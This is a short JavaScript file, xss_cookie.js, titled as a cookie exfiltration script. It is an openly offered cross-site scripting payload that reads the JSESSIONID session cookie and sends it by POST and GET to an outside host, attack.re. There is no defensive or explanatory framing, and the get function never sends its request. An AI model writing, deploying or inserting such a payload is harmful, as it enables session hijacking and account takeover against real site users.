Simple cookie exfiltration script

xss_cookie.js

function post(url, params) {
  let http = new XMLHttpRequest();
  http.open('POST', url, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.send(params);
};

function get(url, params) {
  let http = new XMLHttpRequest();
  http.open('GET', url+'/?a='+params, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
};

function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}

post('https://attack.re',getCookie('JSESSIONID'))
get ('https://attack.re',getCookie('JSESSIONID'))